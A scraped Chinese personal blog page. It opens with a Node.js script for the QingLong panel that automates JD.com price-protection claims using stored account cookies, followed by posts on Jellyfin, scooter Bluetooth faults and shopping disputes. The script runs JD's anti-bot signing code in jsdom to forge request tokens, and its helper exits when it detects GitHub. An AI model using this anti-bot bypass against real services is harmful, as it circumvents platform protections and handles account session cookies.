JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/[(d+)]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?).(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?).(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } ### 【青龙面板】京东自动保价脚本 /* 京东保价 每天随机运行一次, 无需指定特定时间 */ const $ = new Env('京东保价'); const notify = $.isNode() ? require('./sendNotify') : ''; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; const jsdom = $.isNode() ? require('jsdom') : ''; let cookiesArr = [], cookie = '', message, allMessage = ''; if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }) if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; } else { cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } const JD_API_HOST = 'https://api.m.jd.com/'; !(async () => { if (!cookiesArr[0]) { $.msg($.name, '【提示】请先获取京东账号一cookien直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); return; } await $.wait(parseInt(Math.random() * 10000 + 500, 10)) await jstoken(); for (let i = 0; i < cookiesArr.length; i++) { if (cookiesArr[i]) { cookie = cookiesArr[i]; $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) $.index = i + 1; $.isLogin = true; $.nickName = ''; $.token = ''; message = ''; $.tryCount = 0; //await TotalBean(); console.log(`n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}n请重新登录获取nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); if ($.isNode()) { await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}n请重新登录获取cookie`); } continue } await price() await $.wait(parseInt(Math.random()*2500+2500,10)) } } if (allMessage) { if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); } })() .catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }) .finally(() => { $.done(); }) async function price() { let num = 0 do { $.token = $.jab.getToken() || '' if ($.token) { await siteppM_skuOnceApply(); } num++ } while (num < 3 && !$.token) await showMsg() } async function siteppM_skuOnceApply() { let body = { sid: "", type: "25", forcebot: "", token: $.token, feSt: $.token ? "s" : "f" } const time = Date.now(); const h5st = await $.signWaap("d2f64", { appid: "siteppM", functionId: "siteppM_skuOnceApply", t: time, body: body }); return new Promise(async resolve => { await $.wait(2000); $.post(taskUrl("siteppM_skuOnceApply", body, h5st, time), async (err, resp, data) => { try { if (err) { console.log(JSON.stringify(err)) console.log(`${$.name} siteppM_skuOnceApply API请求失败,请检查网路重试`); } else { if (safeGet(data)) { data = JSON.parse(data) if (data.flag) { await $.wait(25 * 1000); await siteppM_appliedSuccAmount(); } else { console.log(`保价失败:${data.responseMessage}`); // 重试3次 // if ($.tryCount < 4) { // await $.wait(25 * 1000); // siteppM_skuOnceApply(); // $.tryCount++; // } else { //message += `保价失败:${data.responseMessage}n`; // } } } } } catch (e) { $.logErr(e, resp); } finally { resolve(data); } }) }) } function siteppM_appliedSuccAmount() { let body = { sid: "", type: "25", forcebot: "", num: 15 } return new Promise(resolve => { $.post(taskUrl("siteppM_appliedSuccAmount", body), (err, resp, data) => { try { if (err) { console.log(JSON.stringify(err)) console.log(`${$.name} siteppM_appliedSuccAmount API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data) if (data.flag) { console.log(`保价成功:返还${data.succAmount}元`) message += `保价成功:返还${data.succAmount}元n` } else { console.log(`保价失败:没有可保价的订单`) } } } } catch (e) { $.logErr(e, resp) } finally { resolve(data) } }) }) } async function jstoken() { if ($.jab && $.signWaap) { return; } const { JSDOM } = jsdom; let resourceLoader = new jsdom.ResourceLoader({ userAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu" }); let virtualConsole = new jsdom.VirtualConsole(); let options = { url: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu", referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu", userAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), runScripts: "dangerously", resources: resourceLoader, includeNodeLocations: true, storageQuota: 10000000, pretendToBeVisual: true, virtualConsole }; const dom = new JSDOM(` `, options); await $.wait(parseInt(Math.random()*6000+5000,10)) try { $.jab = new dom.window.JAB({ bizId: 'jdjiabao', initCaptcha: false }); await $.wait(parseInt(Math.random()*2500+2500,10)) $.signWaap = dom.window.signWaap; } catch (e) {} } function downloadUrl(url) { return new Promise(resolve => { const options = { url, "timeout": 10000 }; $.get(options, async (err, resp, data) => { let res = null try { if (err) { console.log(`⚠️网络请求失败`); } else { res = data; } } catch (e) { $.logErr(e, resp) } finally { resolve(res); } }) }) } function showMsg() { return new Promise(resolve => { if (message) { allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}n${message}${$.index !== cookiesArr.length ? 'nn' : 'nn'}`; } $.msg($.name, '', `【京东账号${$.index}】${$.nickName || $.UserName}n${message}`); resolve() }) } function taskUrl(functionId, body, h5st = '', time = Date.now()) { return { url: `${JD_API_HOST}api?appid=siteppM&functionId=${functionId}&forcebot=&t=${time}`, body: `body=${encodeURIComponent(JSON.stringify(body))}&h5st=${encodeURIComponent(h5st)}`, headers: { "Host": "api.m.jd.com", "Accept": "application/json", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://msitepp-fm.jd.com", "Accept-Language": "zh-CN,zh-Hans;q=0.9", "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), "Referer": "https://msitepp-fm.jd.com/", "Accept-Encoding": "gzip, deflate, br", "Cookie": cookie } } } function TotalBean() { return new Promise(resolve => { const options = { url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", headers: { "Host": "me-api.jd.com", "Accept": "*/*", "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", "Accept-Language": "zh-CN,zh-Hans;q=0.9", "Accept-Encoding": "gzip, deflate, br", "Cookie": cookie } } $.get(options, (err, resp, data) => { try { if (err) { $.logErr(err) } else { if (data) { data = JSON.parse(data); if (data['retcode'] === "1001") { $.isLogin = false; //cookie过期 return; } if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { $.nickName = data.data.userInfo.baseInfo.nickname; } } else { console.log('京东服务器返回空数据'); } } } catch (e) { $.logErr(e, resp) } finally { resolve() } }) }) } function safeGet(data) { try { if (typeof JSON.parse(data) == "object") { return true; } } catch (e) { console.log(e); console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); return false; } } function jsonParse(str) { if (typeof str == "string") { try { return JSON.parse(str); } catch (e) { console.log(e); $.msg($.name, '', '请勿随意在BoxJs输入框修改内容n建议通过脚本去获取cookie') return []; } } } // prettier-ignore function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/[(d+)]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?).(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?).(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} ### Windows + Docker + Jellyfin Jellyfin简介: Jellyfin是一个自由软件媒体系统,它让您能够控制管理和流媒体。它是专有Emby和Plex的替代方案,可以通过多个应用程序从专用服务器向最终用户设备提供媒体。Jellyfin是Emby 3.5.2版本的派生版本,并移植到.NET Core框架,以实现完全的跨平台支持。 下面是如何在Windows系统dockers安装Jellyfin 进入Windows 打开 CMD 输入下面的dockers 命令行 docker run -d --name jellyfin -v E:/jellyfin/config:/config -v E:/jellyfin/cache:/cache -v D:/media/media:/media -p 8096:8096 --restart unless-stopped jellyfin/jellyfin Jellyfin说明: D:/media/media目录就是存放媒体文件的文件路面,可以把视频等其他媒体文件放到这个目录下面,然后在Jellyfin媒体库里添加媒体库,然后点击搜索。 --name jellyfin:运行一个名称为jellyfin的jellyfin。 E:/jellyfin/config:/config:在Windows的E盘映射dockers的/config文件夹,其他的一样。 -p 8096:8096:映射dockers8096为8096,外部可以通过IP:8096访问Jellyfin服务 --restart:开机自启动Jellyfin。或者重启docker自动启动Jellyfin。 ### 九号mmax110P 蓝牙问题(二) 后面发现是苹果手机的问题,能搜索的到九号的蓝牙,但是不会自动连接九号的蓝牙,要自己手动点击连接蓝牙。 之前打开APP,可能会自动连接蓝牙。 我的手机型号是 iPhone 11,不确定是其他苹果型号有这个问题。 还是安卓手机也有。 ### 九号mmax110P 蓝牙问题(一) 自从上个月更新固件后,蓝牙就不太好用,只能打开APP,才能连接上蓝牙。十分的不方便。 问了客服,说是重置ECU,手机蓝牙关闭开启,APP卸载。 这些方法都不行。 后面发现是蓝牙根本就没绑定到APP。应该是打开APP,软件自己搜索了蓝牙,并连接上了蓝牙。 解决方法:手机APP点击下面的蓝牙图标,然后找到车的蓝牙,APP会提示绑定。 绑定后应该就没问题了,得明天看看是不是能正常使用了。 重新设置还是不行,iPhone 11 不会自动连接蓝牙。这下不知道是手机问题,还是九号的问题。 九号的APP和其他功能说实在的,真的太不好用了。 有些固件升级不支持在线升级,必须要开机,连上蓝牙才可以升级。而且还要断开电源,重置ECU。 APP和固件升级逻辑,真的是一塌糊涂,使用体验太差 ### 世事无常,活在当下 今天下班回家,从爸那里得知老家学校里的房子要拆迁了。 问了原因,是初中老师上屋顶修漏雨的地方,摔下来了,头流血,做了手术。 后面又打了电话,初中老师已经去世,这消息挺突然的。 感概只有身体健康,就已经很好了。 老家以后没地方住了。 ### 咸鱼聊天违规,扣了20分 今天中午突然收到咸鱼违规的消息,扣了20分,上架商品下架,聊天被禁止。 看到这个违规记录,一脸懵逼,这是啥情况?最近也没做什么违规的事情啊。 真的懵逼状态。 然后看了违规记录,我去我就是截图站长工具网站权重信息,通过咸鱼发给卖家了。 昨天花了50元,分析了下网站那些地方需要优化,为什么外链有4万3多。就是因为这个图片给封了。真是够冤枉的,站长工具这么大的网站都没违规,咸鱼就违规了。 申请撤销违规,直接秒不通过。 通过咸鱼人工服务,也是客套话,不给解封。 最后直接火大,说要到工信部投诉。 最无语的结果就来了,客服态度马上转变。今天收到短信解封了,真的特么无语死了。这是按闹分配?老实人就该被欺负? ### 清理无用的友链 清理了无反链的友链和权重0的友链,也清理了自己备案下面的其他网站。 网站已经三年,权重一直很低,不是0就是1。 这个月主要优化网站和SEO。 ### 京东2次维修电脑主板CPU套装的问题 京东买的是微星 H510I PRO WIF + I3 10105 套装,因为急着用,并不是旗舰店买的。 10月1日的时候就坏了,一直开机,然后突然开不了机,主板亮CPU灯。 10月1日申请售后维修,到了南京维修的地方,说是CPU掉电容了。 被退回了了。南京维修的说是京东快递的问题。 邮寄过去的时候,没检查CPU的电容,也不知道是不是我买来的时候,已经掉电容了。 让京东快递配了200多,这次耗时2个星期。 因为要急着用ITX主板,做服务器的,这次狠心买了玩家国度ROG STRIX B660-I GAMING WIFI 主板(花了1599,每年这个时候都会破财,神烦,好不容易存下来的钱就没了)和12代 I3-12100。 这次分开买了,因为这次的维修,发现主板和CPU必须分开买,就可以分开维修,不影响时间,同时维修。因为如果是套装申请售后,坏了话,只能维修其中一个。 最后第二次申请维修时间是10月28日,主板倒是维修了,最恶心的是,京东填了快递单号,以为是修好了。 等了1个星期,快递没信息更新,问了京东商店的客服,一直说崔,崔了2个星期还没好。 等的不耐烦了,我还等着主板CPU套装挂咸鱼呢,不能一直推着。 就一直崔客服,每天催,最可笑的是说换1个B560M BOMBER,是1个MATX的主板,追风者上面的只能安装ITX的主板。这个主板感觉还是减配的。真的是无语。 最后商家退给我420元,CPU退回。解决了这2次的售后维修,省的我挂咸鱼了。 CPU昨天收到了,不知道这个怎么处理,因特尔不晓得会不会维修 总共经历2个月的维修🤣。一个CPU,一个主板,都没挂咸鱼。 ### 九号 mmax110p 电池,原装后备箱,自动关机和蓝牙问题 1、蓝牙 上个月更新了固件,就出现离车时间长,再次靠近,不会自动连接蓝牙。 